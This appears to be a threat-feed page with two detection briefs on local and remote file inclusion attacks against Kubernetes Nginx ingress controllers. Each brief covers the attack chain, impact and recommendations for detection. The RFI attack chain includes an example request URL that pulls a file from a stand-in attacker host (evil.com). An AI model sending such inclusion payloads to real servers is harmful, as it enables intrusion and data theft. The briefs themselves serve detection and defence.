Kubernetes Nginx Ingress LFI Attack

hello@craftedsignal.io — Tue, 09 Jan 2024 12:00:00 +0000

This brief focuses on detecting local file inclusion (LFI) attacks targeting Kubernetes Nginx ingress controllers. These attacks are identified by analyzing Kubernetes logs for suspicious patterns indicative of LFI attempts. The detection leverages Kubernetes logs, specifically parsing the request field to identify LFI patterns. Successful exploitation can lead to attackers reading sensitive files from the server, potentially exposing critical information. This activity is significant because it can lead to unauthorized access to sensitive data, further exploitation, and potential compromise of the Kubernetes environment. The provided detection logic originates from Splunk's security content and is designed to work with Kubernetes logs ingested via Splunk Connect for Kubernetes.

Attack Chain

Attacker identifies a Kubernetes Nginx ingress controller vulnerable to LFI.
The attacker crafts a malicious HTTP request containing an LFI payload within the URL. This payload aims to access sensitive files on the server.
The crafted request is sent to the Kubernetes Nginx ingress controller.
The Nginx ingress controller processes the request and attempts to access the file specified in the malicious payload.
If the LFI vulnerability is successfully exploited, the targeted file's contents are exposed to the attacker.
The attacker retrieves the contents of the sensitive file from the HTTP response.
The attacker analyzes the exfiltrated file contents for sensitive information, such as credentials or configuration details.

Impact

A successful LFI attack against a Kubernetes Nginx ingress controller can lead to the exposure of sensitive data, potentially including configuration files, credentials, or internal application code. This can lead to further exploitation, such as privilege escalation or lateral movement within the Kubernetes cluster. The number of affected systems and organizations depends on the scope of the vulnerable ingress controllers.

Recommendation

Deploy the provided Sigma rule to your SIEM to detect LFI attempts against Kubernetes Nginx ingress controllers based on suspicious URL patterns and log data.
Ensure that Kubernetes logs are being ingested through Splunk Connect for Kubernetes, as this is a prerequisite for the detection logic.
Investigate and remediate any identified LFI vulnerabilities in Kubernetes Nginx ingress controllers to prevent successful exploitation.
Use the provided drilldown searches to pivot into detection results based on host and risk events.

Kubernetes Nginx Ingress Remote File Inclusion Attempt

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This analytic focuses on detecting Remote File Inclusion (RFI) attacks against Kubernetes Nginx ingress controllers. RFI attacks exploit vulnerabilities that allow an attacker to include remote files, potentially leading to arbitrary code execution or access to sensitive information. The detection logic parses Kubernetes logs from the Nginx ingress controller, specifically examining the request URLs for suspicious patterns indicative of RFI attempts. Successful exploitation could grant attackers unauthorized access, facilitate data exfiltration, or further compromise the Kubernetes environment. This activity is particularly relevant for organizations using Kubernetes to host web applications and services, as ingress controllers act as the entry point for external traffic.

Attack Chain

An attacker identifies a Kubernetes Nginx ingress controller exposed to the internet.
The attacker crafts a malicious HTTP request containing a URL designed to exploit an RFI vulnerability. This URL often includes parameters that attempt to include remote files (e.g., http://example.com/index.php?file=http://evil.com/malicious.txt).
The attacker sends the malicious request to the Kubernetes Nginx ingress controller.
The Nginx ingress controller processes the request and attempts to include the remote file specified in the URL.
If the RFI vulnerability is successfully exploited, the attacker's malicious code or script is executed by the Nginx ingress controller.
The attacker gains unauthorized access to the Kubernetes environment or sensitive data.
The attacker uses the compromised ingress controller as a launchpad for further attacks within the Kubernetes cluster, such as lateral movement or data exfiltration.

Impact

Successful RFI attacks on Kubernetes Nginx ingress controllers can have significant consequences. Attackers can gain unauthorized access to sensitive data, including application code, configuration files, and credentials. They can also execute arbitrary code, potentially leading to a complete compromise of the Kubernetes cluster. The impact can range from data breaches and service disruptions to the deployment of malicious containers and the exfiltration of confidential information. The specific consequences depend on the nature of the targeted application and the attacker's objectives.

Recommendation

Enable and review Kubernetes container controller logs to capture relevant HTTP request data, as indicated by the kubernetes_container_controller macro in the search query.
Deploy the provided Sigma rule (Kubernetes Nginx Ingress RFI Detection) to identify suspicious URL patterns indicative of RFI attempts. Tune the rule based on your specific environment and application characteristics.
Implement regular vulnerability scanning and penetration testing of your Kubernetes Nginx ingress controllers to identify and remediate potential RFI vulnerabilities.
Ensure that your Nginx ingress controller is configured with the latest security patches and updates to mitigate known vulnerabilities.

Nginx Ingress Controller - CraftedSignal Threat Feed

Kubernetes Nginx Ingress LFI Attack

Attack Chain

Impact

Recommendation

Kubernetes Nginx Ingress Remote File Inclusion Attempt

Attack Chain

Impact

Recommendation